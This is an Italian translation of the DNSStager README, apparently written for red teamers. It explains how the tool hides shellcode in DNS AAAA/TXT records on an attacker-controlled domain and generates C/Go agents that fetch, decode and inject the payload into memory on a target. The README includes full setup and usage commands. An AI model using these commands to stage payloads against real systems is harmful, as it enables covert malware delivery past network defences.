
Nascondi il tuo payload nel DNS
DNSStager è un progetto open-source basato su Python utilizzato per nascondere e trasferire il tuo payload tramite DNS.
DNSStager creerà un server DNS malevolo che gestisce le richieste DNS per il tuo dominio e restituisce il tuo payload come risposta a richieste di record specifici come AAAA o TXT dopo averlo suddiviso in blocchi e codificato il payload utilizzando diversi algoritmi.
DNSStager può generare un agente personalizzato scritto in C o GoLang che risolverà una sequenza di domini, recupererà il payload, lo decodificherà e infine lo inietterà in memoria basandosi su qualsiasi tecnica tu desideri.
Puoi modificare il codice dell'agente DNSStager come preferisci e crearlo utilizzando le tue tecniche di esecuzione personalizzate.
L'obiettivo principale dell'uso di DNSStager è aiutare i red teamer/pentester a consegnare i loro payload in un canale furtivo utilizzando DNS.
In base alla tua opzione di risoluzione DNS, DNSStager dividerà il tuo payload in blocchi e salverà ogni blocco del payload come risposta per un sottodominio.
Ad esempio, se scegli IPV6 come opzione per recuperare il payload, la risposta DNS sarà qualcosa del tipo:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Dove 5648:31d2:6548:8b52:6048:8b52:1848:8b52 è una parte del tuo payload.
Quindi, l'agente risolverà alcuni domini per recuperare il payload, poi lo decodificherà e infine lo inietterà in memoria.
Attualmente, DNSStager supporta solo due record, AAAA e TXT. Puoi codificare il tuo payload usando XOR per il record AAAA e per impostazione predefinita verrà codificato come base64 se scegli il record TXT.
DNSStager ha alcune caratteristiche chiave come:
IPV6.TXT.C con la possibilità di personalizzarlo.GoLang con la possibilità di personalizzarlo.Puoi installare i requisiti Python di DNSStager tramite:
pip3 install -r requirements.txt
Devi installare GoLang versione 1.16.3 e assicurarti di installare i seguenti pacchetti GoLang:
Inoltre, assicurati di installare ming-w64 tramite:
apt install mingw-w64
Lo script setup.sh dovrebbe farlo per te, ma controlla i requisiti prima di usarlo!
Per ottenere l'ultima versione di DNSStager, assicurati di clonarlo da questo repository usando il seguente comando:
git clone https://github.com/mhaskar/DNSStager
Poi devi installare i requisiti usando il seguente comando:
pip3 install -r requirements.txt
E assicurati di installare anche tutti i requisiti menzionati in precedenza.
Dopo aver fatto tutto ciò, sei pronto per eseguire DNSStager come root per ottenere quanto segue:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
Per iniziare a usare DNSStager, assicurati prima di configurare le impostazioni DNS, devi fare in modo che il tuo dominio punti all'istanza DNSStager come record NS per gestire tutte le richieste DNS al tuo dominio.
Puoi leggere questo articolo completo su come configurare e usare DNSStager.
E puoi controllare le opzioni usando l'opzione -h come segue:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: puoi usare questa opzione per selezionare il dominio principale che userai per gestire le richieste DNS.
-- prefix: Il prefisso che vuoi usare per lo schema dei sottodomini
Ad esempio, se il tuo dominio principale è fakedns.live puoi specificare il prefisso come "cdn", quindi i domini generati seguiranno un pattern come il seguente:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveDove N è un numero generato automaticamente che rappresenta il numero di blocchi del tuo payload.
--payload: il payload "agente" di DNSStager che vuoi generare in base alla tecnica, al linguaggio di programmazione e all'architettura.
--output: Percorso di output per salvare il payload eseguibile "agente" di DNSStager.
--shellcode_path: Il percorso del tuo shellcode raw/bin.
--xorkey: Chiave XOR per codificare il payload.
--sleep: Utilizzato per attendere N secondi tra ogni richiesta DNS.
--tcp: Avvia e usa il server DNS tramite protocollo TCP
Per controllare i payload disponibili di DNSStager, puoi usare ./dnsstager.py --payloads per ottenere i seguenti risultati:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
Questo esempio avvierà DNSStager per risolvere il tuo payload come IPV6 usando il dominio test.mydnsserver.live con prefisso cloud-srv- per generare un agente compilato x64 C codificato con 0x10 come chiave:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
E l'output sarà:

E per verificare se tutto funziona bene, inviamo una query DNS a cloud-srv-0.test.mydnsserver.live per ottenere quanto segue:

Possiamo vedere che abbiamo ricevuto f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b come risposta, che è il primo 16 byte del nostro payload codificato.
Poi puoi eseguire l'agente /tmp/a2.exe (come impostato usando --output nella riga di comando) sulla macchina target e questo scaricherà tutti i blocchi necessari, li decodificherà e li inietterà in memoria per te.
Questo progetto è concesso in licenza secondo la licenza GPL-3.0 - consulta il file LICENSE per i dettagli.